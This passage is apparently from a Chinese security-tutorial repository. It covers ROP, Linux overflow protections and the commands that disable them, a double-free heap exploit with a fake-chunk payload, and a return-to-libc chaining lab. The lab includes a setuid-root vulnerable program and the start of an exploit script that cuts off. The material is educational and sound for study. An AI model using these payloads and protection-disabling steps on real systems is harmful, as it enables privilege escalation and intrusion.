攻击者又是灵光一闪。攻击载荷也是一段二进制代码,说白了就是一堆指令的集合按照指定顺序执行后完成攻击任务,而CPU不会理解执行的上下文,完全按照指令来执行,那么我们是不是可以把组成载荷功能的二进制指令功能,在加载库中找到对应的指令片段,并串联起来让CPU执行就可以了,所以ROP技术产生了。 121 | 攻击者祭出了终极长矛—Retrun-Oriented-Programming,简称“ROP”。首先,ROP技术仍是一种利用程序依赖的动态链接库的一种攻击方式。ROP不在把向内存中注入自定义的攻击指令载荷,而是使用内存中现有的函数代码中的指令片段串联起来构成完整的攻击载荷链,可利用的攻击指令片段被称为“gadget”,每个Gadget都是由跳转指令结尾,并且攻击者可以控制跳转的位置,在Android下有自己特殊的Gadget,这里不详述。 122 | 这种技术非常恐怖,理论上只有找到溢出漏洞,并且堆栈空间足够大,就可以实现任意攻击,并且现在的杀毒软件很难防范这种攻击。ROP攻击的Gadget链示例如图13. 123 | ![](../pictures/bufover13.png) 124 | 图 13 ROP攻击的Gadget链 125 | 从上面的原理中,我们看到ROP技术需要解决的几个问题: 126 | 1) 攻击者可以利用漏洞来构造栈空间布局。 127 | 2) 攻击者需要找到合适的Gadget。首先需要选择目标动态链接库,OS平台的C运行时库是个不错的选择, 因为它是大部分OS功能的底层支持库。怎么泄漏库的基址需要根据不同漏洞来不同分析。 128 | 129 | -------------------------------------------------------------------------------- /Linux 系统底层知识/Linux 栈溢出保护机制.md: -------------------------------------------------------------------------------- 1 | 原文 by wangxiaolong_china 2 | 3 | 缓冲区溢出的攻击大致分为以下几类: 4 | 5 | 1. 栈溢出(stack smashing) 6 | 未检查输入缓冲区长度,导致数组越界,覆盖栈中局部变量空间之上的栈桢指针%ebp以及函数返回地址retaddr, 当函数返回执行ret指令时,retaddr从栈中弹出,作为下一条指令的地址赋给%eip寄存器,继而改变原程序的执行流程指向我们的 shellcode. 7 | 2. 堆溢出(malloc/free heapcorruption) 8 | 一种是和传统的栈溢出一样, 当输入超出malloc()预先分配的空间大小,就会覆盖掉这段空间之后的一段存储区域,如果该存储区域有一个重要的变量比如euid,那么我就可以用它 来攻击。另一种是典型的double-free堆腐败,在内存回收操作中,合并相邻空闲块重新插入双向链表时会有一个写4字节内存的操作,如果弱点程序由 于编程错误free()一个不存在的块,我们就可以精心伪造这个块,从而覆盖任何我们想要的值:函数的返回地址、库函数的.plt地址等 9 | 3. 格式化字符串漏洞(format stringvulnerability) 10 | 如果格式串由用户定制,攻击者就可以任意伪造格式串,利用*printf()系列函数的特性就可以窥探堆栈空间的内容,超常输入可以引发传统的缓冲区溢出,或是用”%n”覆盖指针、返回地址等。 11 | 4. 整形变量溢出(integer variableoverflow) 12 | 利用整数的范围、符号等问题触发安全漏洞,大多数整形溢出不能直接利用,但如果该整形变量决定内存分配等操作,我们就有可能间接利用该漏洞。 13 | 5. 其他的攻击手法(others) 14 | 只能算是手法,不能算是一种单独的类别。利用ELF文件格式的特性如:覆盖.plt(过程连接表)、.dtor(析构函数指针)、.got(全局偏移表)、return-to-libc(返回库函数)等的方式进行攻击。 15 | 16 | 针对缓冲区溢出的攻击的防护手段大致分为以下几类: 17 | ## 一、编译保护技术 18 | 1. Stackguard 19 | 因为缓冲区溢出的通常都会改写函数返回地址,stackguard是个编译器补丁,它产生一个 "canary" 值(一个单字)放到返回地址的前面,如果 当函数返回时,发现这个canary的值被改变了,就证明可能有人正在试图进行缓冲区溢出攻击,程序会立刻响应,发送一条入侵警告消息给syslogd, 然后终止进程。 "canary" 包含:NULL(0x00), CR(0x0d), LF (0x0a) 和 EOF (0xff)四个字 符,它们应该可以阻止大部分的字符串操作,使溢出攻击无效。一个随机数canary在程序执行的时候被产生。所以攻击者不能通过搜索程序的二进制文件得 到 "canary" 值。如果/dev/urandom存在,随机数就从那里取得。否则,就从通过对当前时间进行编码得到。其随机性足以阻止绝大部分的预测 攻击。Immunix系统为采用stackguard编译的Red Hat Linux,但stackguard所提供的保护并非绝对安全,满足一些条件就可以突破限制:如覆盖一个函数指针、可能存在的exit()或 _exit()系统调用地址、GOT等。 20 | Stackguard官方链接:http://immunix.org/ 21 | 2. Stackshield 22 | StackShield使用了另外一种不同的技术。它的做法是创建一个特别的堆栈用来储存函数返回地址的一份拷贝。它在受保护的函数的开头和结尾分别增 加一段代码,开头处的代码用来将函数返回地址拷贝到一个特殊的表中,而结尾处的代码用来将返回地址从表中拷贝回堆栈。因此函数执行流程不会改变,将总是正 确返回到主调函数中。在新的版本中已经增加了一些新的保护措施,当调用一个地址在非文本段内的函数指针时,将终止函数的执行。 23 | Stackshield无法防御只覆盖%ebp的单字节溢出,同样,我们也可以通过覆盖其他的ELF结构来绕过限制。 24 | 25 | ## 二、库函数链接保护 26 | 1. Formatguard 27 | Formatguard是个Glibc的补丁,遵循GPL,它使用特殊的CPP(gcc预编译程序)宏取代原有的`*printf()`的参数统计方式,它 会比较传递给`*printf`的参数的个数和格式串的个数,如果格式串的个数大于实际参数的个数,就判定为攻击行为,向syslogd发送消息并终止进程。 如果弱点程序调用Glibc以外的库,formatguard就无法保护。 28 | 2. Libsafe 29 | Libsafe是一个动态链 接库,在标准的C库之前被加载,主要加固了gets(),strcpy(),strcat(),sprintf()……等容易发生安全问题的C函数,它设 计为只针对stack smashing&& format string类型的攻击。Alert7很早也写过如何绕过libsafe保护的文章。 30 | 31 | ## 三、栈不可执行 32 | 1. Solar designer’s nonexec kernelpatch 33 | 从名字可以看出这是一个linux上的内核补丁,该补丁最主要的特性是:用户区堆栈不可执行[Non-executableUser Stack]由于x86 CPU上并没有提供页(page)执行的bit位,所以该补丁通过减小代码段的虚拟地址来区分数据段和代码段,程序执行流返回 0xC0000000 以下一段用户堆栈空间的操作都被认为是缓冲区溢出攻击行为,随即产生一个通用保护异常而终止进程。这样把shellcode安置在 buffer或环境变量(都位于堆栈段)的exploit都会失效。当然其安全也不是绝对的,利用PLT返回库函数的文章里详细描述了突破该补丁的攻击方 法。该补丁还有一些其他的特性:动态链接库映射到地址低端(0x00开始)、限制符号链接攻击、/tmp目录限制、/proc目录限制、execve系统 调用加固等。 34 | 2. Solaris/SPARC nonexec-stack protection 35 | 在Solaris/SPARC下可以通过去掉堆栈的执行权限来禁止堆栈段执行,方法如下,在/etc/system中加入两条语句: 36 |   `Set noexec_user_stack = 1` 37 |   `Set noexec_user_stack_log = 1` 38 | 第一条禁止堆栈执行,第二条记录所有尝试在堆栈段运行代码的活动。Reboot之后才会生效。所有只让栈不可执行的保护是有限的。Return-to-libc、fake frame之类的技术都可以突破限制,不过栈不可执行的保护已经极大了提升了攻击难度。 39 | 40 | ## 四、数据段不可执行 41 | 1. kNoX 42 | Linux内核补丁,功能:数据段的页不可执行,撤销共享内存,加强对execve系统调用的限制,对文件描述符0、1、2的特殊处理,/proc目录的限制,FIFO限制,符号链接限制,该补丁只支2.2内核。 43 | 2. RSX 44 | Linux内核模块,数据段(stack、heap)不可执行。 45 | 3. Exec shield 46 | Exec-shield从内核态显示的跟踪一个应用程序所包含的可执行映像的最大虚拟地址,动态的维护这个“可执行虚拟地址的最大值”称为“可执行限 界”,每次发生进程切换的时候调度进程就会用这个值更新代码段描述符写入GDT,exec-shield动态的跟踪每个应用程序,所以每个程序运行时都有 不同的“可执行限界”,因为可执行限界通常是个很低的虚拟地址,所以除了stack以外mmap()映射的区域以及malloc()分配的空间都处在可执 行限界之上,因此都是不可执行的。当然Exec-shield无法防御跳转到低16M地址空间和return-to-libc的攻击,不过还是能阻止绝大 多数把shellcode安置在数据段的攻击 47 | 48 | ## 五、增强的缓冲区溢出保护及内核MAC 49 | 1. OpenBSD security feature 50 | OpenBSD和Hardened Gentoo、Adamantix、SELinux都是属于默认安全等级非常高的操作系统。OpenBSD经过代码审计,漏洞非常少。同样他具有很多安全特性: 51 | * 使用strlcpy()和strlcat()函数替换原有的危险函数 52 | * 内存保护:W^X、只读数据段、页保护、mmap()随机映射、malloc()随机映射、atexit()及stdio保护、 53 | * 特权分离 54 | * 特权回收 55 | * BSD chroot jail 56 | * 其他的很多特性 57 | 其中W^X有不少内容:stack、mmap随机映射,只读GOT/PLT/.ctor/.dtor等。虽然理论上OpenBSD无法阻止所有类型的攻击,但已经阻断了不少攻击手法。 58 | 59 | 2. PaX 60 | PaX是个非常厉害的东西,好像天生就是缓冲区溢出的死对头,他严厉的审视每一种攻击方式,予以阻断。 61 | * 基于x86段式内存管理的数据段不可执行 62 | * 基于页式内存管理的数据段的页不可执行 63 | * 内核页只读{ 64 |   - Const结构只读 65 |   - 系统调用表只读 66 |   - 局部段描述符表(IDT)只读 67 |   - 全局段描述符表(GDT)只读 68 |   - 数据页只读 69 |   - 该特性不能与正常的LKM功能共存 } 70 | * 完全的地址空间随机映射{ 71 |   - 每个系统调用的内核栈随机映射 72 |   - 用户栈随机映射 73 |   - ELF可执行映像随机映射 74 |   - Brk()分配的heap随机映射 75 |   - Mmap()管理的heap随机映射 76 |   - 动态链接库随机映射 } 77 | * 还有诸如把动态链接库映射到0x00开始的低地址的其他特性 78 | 79 | 这里顺便提一下Phrack58上Nergal写过的《The advanced return-into-lib(c) exploits》,这篇大作里提到用伪造栈桢(Fakeframe)和dl-resolve()技术突破PaX若干保护的方法,这极有可能`*nix`应用层 exploit技术中最高级的技术,Nergal解决了几个问题:Stack/Heap/BSS不可执行、mmap随机映射,显然这种高级的技术仍然无法无条件的突破PaX,所以在一个运行完全版PaX的Linux上,你想发动缓冲区溢出可能是没有机会的。 80 | 81 | 3. Grsecurity 82 | Grsec内含PaX,和Lids一样grsec支持内核MAC(Madatory AccessControl,强制访问控制),拥有非常多的特性,详见 http://grsecurity.net/features.php 83 | 84 | ## 六、硬件级别的保护 85 | X86 CPU上采用4GB平坦模式,数据段和代码段的线性地址是重叠的,页面只要可读就可以执行,所以上面提到的诸多内核补丁才会费尽心机设计了各种方法来使数 据段不可执行。现在Alpha、PPC、PA-RISC、SPARC、SPARC64、AMD64、IA64都提供了页执行bit位。Intel及AMD 新增加的页执行比特位称为NX安全技术,Windows XP SP2及Linux Kernel 2.6都支持NX,虽然这种硬件级的页保护不如PaX那样强,但硬件级别的支持无疑大大增加了软件和操作系统的兼容性,能够使缓冲区溢出的防护得到普及。 86 | 87 | 88 | ## 七、代码实验需知 89 | 基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生危害。下面首先了解一下现有的用于保护堆栈的机制以及关闭相应保护机制的方法,为进一步分析基本栈溢出提供了良好的实验环境。 90 | 1. 内存地址随机化机制 91 | 在Ubuntu和其他基于linux内核的系统中,目前都采用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难。 92 | 关闭内存地址随机化机制的方法是: 93 | `sysctl –w kernel.randomize_va_space=0` 94 | 2. 可执行程序的屏蔽保护机制 95 | 对于Federal系统,默认会执行可执行程序的屏蔽保护机制,该机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。而Ubuntu系统中默认没有采用这种机制。 96 | 关闭可执行程序的屏蔽保护机制的方法是: 97 | `sysctl –w kernel.exec-shield=0` 98 | 3. gcc编译器gs验证码机制 99 | gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。 100 | 关闭gcc编译器gs验证码机制的方法是: 101 | 在gcc编译时采用 `-fno-stack-protector` 选项。 102 | 在开启%gs校验时,exploit 代码只能在gdb调试环境下成功完成栈溢出。 103 | 4. ld链接器堆栈段不可执行机制 104 | ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.o文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是: 105 | 如果是检查ELF库:`readelf -lW $BIN | grep GNU_STACK` 查看是否有E标记 106 | 如果是检查生成的.o文件:`scanelf -e $BIN` 查看是否有X标记 107 | ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。 108 | 关闭ld链接器不可执行机制的方法是: 109 | 在gcc编译时采用 `-z execstack` 选项。 110 | 111 | ## Reference 112 | http://blog.csdn.net/wangxiaolong_china/article/details/6844304 -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/Double Free 浅析.md: -------------------------------------------------------------------------------- 1 | 原文 by explorer 2 | ## 0x00 简介 3 | 4 | Double Free其实就是同一个指针free两次。虽然一般把它叫做double free,其实只要是free一个指向堆内存的指针都有可能产生可以利用的漏洞。 5 | 6 | double free的原理其实和堆溢出的原理差不多,都是通过unlink这个双向链表删除的宏来利用的。只是double free需要由自己来伪造整个chunk并且欺骗操作系统。 7 | 8 | 这里是glibc中有关内存管理的源代码 [malloc.c](http://code.woboq.org/userspace/glibc/malloc/malloc.c.html) 9 | 10 | ## 0x01内存管理介绍 11 | 12 | 这里先简单的介绍一下glibc中内存管理的一些内容,帮助理解漏洞产生的原理。因为没有进行非常深入的研究,欢迎大神们指正补充。为了照顾新手,我写的比较详细,大神们请跳过。 13 | 14 | 首先是申请的内存块在内存中的结构。所有malloc等等函数申请的内存都会被系统申请在一个叫做堆的地方,其实也就是一块比较大的内存。当程序需要内存时,系统就会从堆里面找一块还没有被使用的内存出来告诉程序,这一块内存给你用。如果使用了超出你申请范围的内存被系统发现了,会强制结束程序。 15 | 16 | 一般的情况,如果程序连续申请内存的话,操作系统会按次序的在堆里码放内存,一块紧挨着一块,中间没有空隙。打个比方吧,就像一座旅馆一样,所有需要的入住的旅客会老板从0号房开始依次安排下去。 17 | 18 | 如果申请了一大堆内存块,再将其中的某几块给释放掉的。就像旅店里面有几间房子的人离开了一样,这个时候老板需要知道哪几间房子是空的,以便让新来的人住进去。 19 | 20 | 那么操作系统是怎么知道那些内存被释放了呢?先看看内存中chunk的结构吧 21 | 22 | 复制自glibc中源码,并翻译了注释 23 | ``` c 24 | struct malloc_chunk { 25 | INTERNAL_SIZE_T prev_size; /* 前一个chunk的大小 (如果前一个已经被free)*/ 26 | INTERNAL_SIZE_T size; /* 字节表示的chunk大小,包括chunk头 */ 27 | struct malloc_chunk* fd; /* 双向链表 -- 只有在被free后才存在 */ 28 | struct malloc_chunk* bk; 29 | }; 30 | ``` 31 | 这里的结构是chunk头部分的内容。在内存块free之前,最后两个指针是不存在的,只有前2项的内容。在第二项之后就是可供程序使用的内存了,也就是malloc返回的那个指针指向的地址。而在内存被释放之后,系统在内存块中添加最后的这两个指针。这两个指针的作用是构成双向链表,它们分别指向了前一个和后一个已经被释放的空闲内存。(顺带一提,这是个环形的双向链表,首尾是相接的) 32 | 33 | 当程序申请一块内存的时候,系统会遍历这个由空闲内存构成的双向链表。如果有合适(>=)的空闲内存,就会将它(或者一部分,具体没有研究)分配给程序。 34 | 35 | 所有空闲的chunk之间的联系就像这样 36 | ![](../pictures/heapdoublefree.jpg) 37 | 38 | 然后是prev_size和size的作用,prev_size是前一个chunk的大小,值得注意的是如果前一个chunk在使用中,这里会是前一个chunk的payload 部分,唯有前一个chunk已经被释放的情况下这里才会有数值,所以prev_size应该叫前一个空闲堆块的大小。然后是size,这个就是当前chunk的大小,包括给程序使用的和chunk头的大小加在一起。因为所有的chunk的大小都是4字节对齐的,所以size最低3位一定是0,被操作系统拿来当做flag标志位。(最低位:指示前一个chunk是否正在使用;倒数第二位:指示这个chunk是否是通过mmap方式产生的;倒数第三位:这个chunk是否属于一个线程的arena)这里只需要关心最低位的涵义,它指示前一个chunk是否是空闲的。这个flag位加上prev_size一起作为系统判断一块内存是否正在使用,从哪里开始的依据。 39 | 40 | 要注意的是,只有大小合适的内存才会用这种方法分配,太小的内存会用fastbins的方法管理,有兴趣的可以了解一下。这里给出使用fastbins的阈值。32位操作系统上是0x40,64位操作系统上是0x80,小于这个数值的内存会用fastbins的方法管理。如果chunk的大小大于512个字节之后,系统除了两个指针双向链表指针之外还会再添加2个指针指向下一块较大的内存。然后是chunk头中几个数据的大小,INTERNAL_SIZE_T其实就是unsigned long型的数据,而另外2个是指针不用多说,所以chunk头的大小也和操作系统的位数有关。 41 | 42 | 然后再看看在free的时候到底发生了什么。 43 | 44 | 先来看看free的源代码吧。在刚才我提供的源代码的3829行开始到4100行结束共200行左右的代码就是free函数的源代码。当然其实只有3978-4040中的代码是实际要看的,其他的都是fastbins和mmap等内存的free,不用关心。 45 | 46 | 首先是一大堆的检查,这个咱不管。然后就是各种操作,这里选取最关心的,和堆溢出有关的部分来说(有兴趣的可以慢慢看)。free时的主要操作是这样的,先看看这个被free的内存块的前后2个内存块是否是空闲的。通过当前chunk的flag和下下个chunk的flag来查看上一个和下一个chunk是否是空闲的。如果空闲,会先把他们从空闲链表中删除。从链表中删除的工作是通过一个unlink的宏来完成的。关于这个unkink的宏待会再来说明。 47 | 48 | 主要的行为操作分别是在4011行和4037行,先看4011行。 49 | 50 | `clear_inuse_bit_at_offset(nextchunk, 0);` 51 | 因为是宏,所以先将他宏展开 52 | 53 | `(((mchunkptr) (((char *) (nextchunk)) + (0)))->size &= ~(0x1))` 54 | 这一行的作用就是将当前被free的内存块的下一个内存块的flag的第一位清空为0,指示当前内存块已经被free。 55 | 56 | 然后就是4037行的代码 57 | 58 | `set_foot(p, size);` 59 | 宏定义的非常彻底,所以也要宏展开再看 60 | 61 | `(((mchunkptr) ((char *) (p) + (size)))->prev_size = (size))` 62 | 把下一个内存块的prev_size更改为当前内存块,或者是已经合并了的更大内存块的大小。然后就是一些各种各样的别的操作,就不详细解释了。 63 | 64 | 最后来仔细看看unlink的宏代码,直接把unlink宏内容贴出来 65 | ``` c 66 | #define unlink(AV, P, BK, FD) { 67 | FD = P->fd; 68 | BK = P->bk; 69 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 70 | malloc_printerr (check_action, "corrupted double-linked list", P, AV); 71 | else { 72 | FD->bk = BK; 73 | BK->fd = FD; 74 | // if (!in_smallbin_range (P->size) 75 | // && __builtin_expect (P->fd_nextsize != NULL, 0)) { 76 | // if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) 77 | // || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) 78 | // malloc_printerr (check_action, 79 | // "corrupted double-linked list (not small)", 80 | // P, AV); 81 | // if (FD->fd_nextsize == NULL) { 82 | // if (P->fd_nextsize == P) 83 | // FD->fd_nextsize = FD->bk_nextsize = FD; 84 | // else { 85 | // FD->fd_nextsize = P->fd_nextsize; 86 | // FD->bk_nextsize = P->bk_nextsize; 87 | // P->fd_nextsize->bk_nextsize = FD; 88 | // P->bk_nextsize->fd_nextsize = FD; 89 | // } 90 | // } else { 91 | // P->fd_nextsize->bk_nextsize = P->bk_nextsize; 92 | // P->bk_nextsize->fd_nextsize = P->fd_nextsize; 93 | // } 94 | // } 95 | } 96 | } 97 | ``` 98 | 当然很多的代码其实是在当内存块的大小过大的时候才会执行的代码(就是被我注释掉的那一部分),在内存块不大的情况下不需要关心,最主要的代码就是下面4行 99 | ``` c 100 | FD = P->fd; 101 | BK = P->bk; 102 | FD->bk = BK; 103 | BK->fd = FD; 104 | ``` 105 | 这里在宏中传入参数FD,BK,P分别是指向后一个,前一个,还有当前的chunk(当然,是从chunk头而不是data段开始的)。很经典的链表节点删除,当然万一被溢出覆盖的的话就糟糕了。不过也是有防止溢出的检测代码存在的,就是这个if判断 106 | ``` c 107 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 108 | malloc_printerr (check_action, "corrupted double-linked list", P, AV); 109 | ``` 110 | 当前内存块的上一块内存中指向下一块内存指针和当前内存块的下一块内存块的指向上一块内存块的指针如果不是指向当前内存块的话,程序就会崩溃退出,直接看代码比解释简单。 111 | 112 | ## 0x02 漏洞的原理 113 | 114 | 要利用Double Free的漏洞。我们就要让系统进行unlink的操作,达到篡改指针的目的。但是一般的情况下,我们两次释放同一块内存会被操作系统给检测出来,怎么欺骗过操作系统才是最重要的。 115 | 116 | 我们结合实际的情况来讲解会比较好。这里我自己写了个demo程序,代码发比较长,所以我放在[gitcafe](https://gitcafe.com/zh_explorer/zh_explorer/blob/master/heap.c)上。 117 | 因为是自己写自己玩的demo程序,所以这程序是堆漏洞大礼包。用Double Free,heap corruption,use after free这3种方法都各拿了一次shell,这里我们用Double Free,其他漏洞一律不使用。 118 | 119 | 这个程序在free的时候很明显的没有检验指针的有效性,且没有在free之后将野指针清零。而且可以任意的指定每一个chunk的大小,所以可以很容易的构造double free。我们首先构造一个野指针: 120 | ``` 121 | >malloc(504) 122 | >malloc(512) 123 | ``` 124 | 然后释放这2块内存,这样子我们就可以在距离第一个指针偏移量为0x200的地方有了一个野指针。 125 | ![](../pictures/heapdoublefree2.jpg) 126 | 127 | 我们留下了一个野指针p指向偏移为0x200的地方。然后我们需要做的就是伪造chunk,再free野指针p。首先是申请一块更大的内存,大小应该等于我们刚才申请的内存的总和。 128 | 129 | `>malloc(768)` 130 | 最好和刚才2块内存大小总和一样,如果不一样大也可以,就是待会伪造第二块内存块的大小的时候,要让伪造的大小等于我们申请的chunk的大小,否则会无法绕过检查,会被系统检查出double free。 131 | 132 | 然后这是我在第二次申请的内存中填入的内容。 133 | 134 | `>0x0 + 0x1f9 + 0x0804bfc0 - 0xc + 0x0804bfc0 - 0x8 + 'a'*(0x200-24) + 0x000001f8 + 0x108` 135 | 现在的chunk就是这个样子了 136 | ![](../pictures/heapdoublefree3.jpg) 137 | 138 | 可以看到现在我们在内存中伪造了出了2个chunk,它们的结构就像图中我们看到的样子。首先是第一个chunk的chunk头部分,我们分别填上了0x0和0x1f9代表了前一个chunk正在使用,当前chunk的大小是1f8。然后就是伪造的双向链表指针了,为了绕过unlink中的检查,这里需要稍微构造一下这个双向链表的指针了。payload中的0x0804bfc0位置其实就是存放在.data段中的指针ptr,这样子就可以绕过保护了。 139 | ``` c 140 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 141 | malloc_printerr (check_action, "corrupted double-linked list", P, AV); 142 | ``` 143 | 结合源代码,可以看到现在FD->bk的值正好也是指向我们伪造的chunk的头部分,然后我们在野指针p 的前面又伪造了一个chunk头。prev_size部分填0x1f8正好是前一个伪造chunk的大小,然后size部分填的是0x108,这样的话两个chunk正将我们申请的空间填满。然后第二个伪造chunk的size中最低位的flag置为0,这样free指针p 的时候,就会将前一个伪造的chunk给unlink。 144 | 145 | 现在,只要在free一次指针p,就可以触发漏洞了。这时候,我们的操作系统不会报错,而且我们本来正常的指针ptr已经变成了ptr-0xc。这要如果我们如果调用Edit函数来修改这个chunk的话,就可以干各种各样的事情了。 146 | 147 | 我把完整利用的poc也放在了gitcafe上,如果需要的话可以看看,最终通过ret2kibc的方法拿到的shell,所以只要把几个函数的地址稍微修改一下,可以在随意的一台机器上使用。PS:没有开PIE保护的。 [poc传送门](https://gitcafe.com/zh_explorer/zh_explorer/blob/master/heap.py) -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/Return-to-libc链接绕过NX.md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。 2 | 转载本文请务必注明,文章出处:《[Linux(X86)漏洞利用系列-Return-to-libc链接绕过NX](http://www.csyssec.org/20170101/chainingreturntolibc)》与作者信息:CSysSec出品 3 | 4 | VM Setup: Ubuntu 12.04(x86) 5 | 6 | ## 什么是Return-to-libc链接 7 | 8 | 在前文中可以看出,攻击者需要调用多个libc函数才能成功利用漏洞。一种链接libc函数的简单方法就是将不同libc函数依次放在栈中。但由于函数参数的原因,这是不可能的。现在你可能还不明白,没关系,继续往下读就好。 9 | 10 | 漏洞代码: 11 | 12 | ``` c 13 | //vuln.c 14 | #include 15 | #include 16 | int main(int argc, char* argv[]) { 17 | char buf[256]; 18 | seteuid(getuid()); /* Temporarily drop privileges */ 19 | strcpy(buf,argv[1]); 20 | printf("%s",buf); 21 | fflush(stdout); 22 | return 0; 23 | } 24 | ``` 25 | 注意: 上述代码和前文中的(vuln_priv.c)一样。 26 | 27 | 编译命令: 28 | 29 | ``` bash 30 | #echo 0 > /proc/sys/kernel/randomize_va_space 31 | $gcc -fno-stack-protector -g -o vuln vuln.c 32 | $sudo chown root vuln 33 | $sudo chgrp root vuln 34 | $sudo chmod +s vuln 35 | ``` 36 | 正如前文所说,链接seteuid,system和exit函数能允许我们利用漏洞代码”vuln”。但并没有这么简单直接,主要在于下面这两个问题: 37 | 38 | 1.攻击者需要将两个libc函数参数或者其中一个libc函数参数与另一个libc函数地址放在栈的同一位置。显然这是不可能的(如下图所示) 39 | 2.seteuid_arg必须为0.由于我们的缓冲区溢出是由strcpy操作引起的,0变成了一个不好的字符。比如,strcpy函数不会将0之后的字符拷贝到栈中。 40 | ![](../pictures/chainreturntolibc1.jpeg) 41 | 42 | 43 | 我们来看看如何解决上述两个问题。 44 | 45 | 问题1: 为解决这个问题,Nergal在 [phrack](http://phrack.org/issues/58/4.html) 中提出了两个聪明的技术 46 | 47 | * ESP上升(ESP Lifting) 48 | * 帧欺骗(Frame fakeing) 49 | 由于ESP lifting技术要求二进制文件在编译的时候不能设置选项 `-fomit-frame-pointer` ,这里我们只谈帧欺骗技术。 由于我们的二进制文件(vuln)含有帧指针,只好采用帧欺骗技术。 50 | 51 | ## 什么是帧欺骗 52 | 53 | 这项技术不去覆盖返回地址,而是直接覆盖libc函数地址(这个例子中的seteuid函数),我们采用”leave ret”指令来覆盖。 这让攻击者有机会将函数参数存放在栈中而不必有任何交叉,而且能调用相应的libc函数,并不会带来任何问题。 54 | 55 | 栈布局 如下面栈布局所示,帧指针攻击者溢出栈并成功链接libc函数: seteuid, system与exit: 56 | ![](../pictures/chainreturntolibc2.png) 57 | 58 | 59 | 60 | 上图中红色强调的部分是”leave ret”指令调用其上方libc函数的返回地址。举个例子,第一条”leave ret”指令(位于栈地址0xbffff1fc处)调用seteuid(),第二条”leave ret”指令(位于栈地址0xbffff20c处)调用system(),第三条”leave ret”指令(位于栈地址0xbffff21c处)调用exit(). 61 | 62 | ## leave ret指令是如何调用其上方libc函数的 63 | 64 | 为了回答这个问题,首先我们要了解”leave”指令。一条”leave”指令可以翻译成: 65 | 66 | ``` 67 | mov ebp,esp //esp = ebp 68 | pop ebp //ebp = *esp 69 | ``` 70 | 我们来反汇编main()函数,以便更进一步了解“leave ret”指令 71 | 72 | ``` 73 | (gdb) disassemble main 74 | Dump of assembler code for function main: 75 | ... 76 | 0x0804851c <+88>: leave //mov ebp, esp; pop ebp; 77 | 0x0804851d <+89>: ret //return 78 | End of assembler dump. 79 | (gdb) 80 | ``` 81 | Main尾声代码: 82 | 83 | 如上述栈布局所示,在main函数尾声代码执行之前,攻击者已经溢出栈并用fake_ebp0(0xbffff204)覆盖了main函数的ebp,以及利用”leave ret”指令地址(0x0804851c)覆盖了其返回地址。 现在当CPU要执行main函数的尾声代码时,EIP指向text地址0x0804851c(”leave ret”)。在执行过程中,会发生下面的事情: 84 | 85 | * ‘leave’修改了下面的寄存器 86 | - esp = ebp = 0xbffff1f8 87 | - ebp = 0xbffff204, esp = 0xbffff1fc 88 | * ‘ret’执行”leave ret”指令(位于栈地址0xbffff1fc处) 89 | 90 | seteuid: 现在EIP又重新指向text地址0x0804851c(“leave ret”). 在执行过程中,会发生下面的事情: 91 | 92 | * ‘leave’修改了下面的寄存器 93 | - esp = ebp = 0xbffff204 94 | - ebp = 0xbffff214, esp =0xbffff208 95 | * ‘ret’执行seteuid()(位于栈地址0xbffff208). 为了能成功调用seteuid,seteuid_arg必须放在栈地址0xbffff210的偏移量8处(比如seteuid_add) 96 | * 调用seteuid()后,”leave ret”指令(位于栈地址0xbffff20c处)开始执行 97 | 98 | 可以从上面的栈布局看出,执行上述过程,栈已经按照攻击者的意图设置好,system和exit函数都能得到执行。 99 | 100 | 问题2: 在我们的例子中,seteuid必须为0. 但0已经变成一个不好的字符,如何将0写在栈地址0xbffff210处呢?Nergal的同一篇文中讲了一个简单的方法。在链接libc相关函数时,前几个调用可以是strcpy函数(其将一个NULL字节拷贝到seteuid_arg在栈中的位置)。 101 | 102 | 注意: 但不幸地是我的libc.so.6中strcpy函数的地址是0xb7ea6200。 libc函数地址本身包含一个NULL字节(不好的字符!)。 因此,strcpy不能成功地利用漏洞代码。sprintf(函数地址是0xb7e6e8d0)可以用来替代strcpy。使用sprintf时,NULL字节被拷贝到seteuid_arg在栈中的位置。 103 | 104 | 注:因为seteuid 参数为0,而我们漏洞代码中使用的是strcpy,故不能直接把参数的位置覆盖为0,这样会导致截断,故只能借助函数调用的方式把参数覆盖为0,同理因为这时strcpy 的函数地址包含null 字节,故不能使用strcpy,这里使用 sprintf 替换。 105 | 106 | 因此链接下面的libc函数可以解决上面提到的两个问题并成功获取root shell: 107 | 108 | sprintf|sprintf|sprintf|sprintf|seteuid|system|exit 109 | 漏洞利用代码: 110 | 111 | ``` python 112 | #exp.py 113 | #!/usr/bin/env python 114 | import struct 115 | from subprocess import call 116 | fake_ebp0 = 0xbffff1a0 117 | fake_ebp1 = 0xbffff1b8 118 | fake_ebp2 = 0xbffff1d0 119 | fake_ebp3 = 0xbffff1e8 120 | fake_ebp4 = 0xbffff204 121 | fake_ebp5 = 0xbffff214 122 | 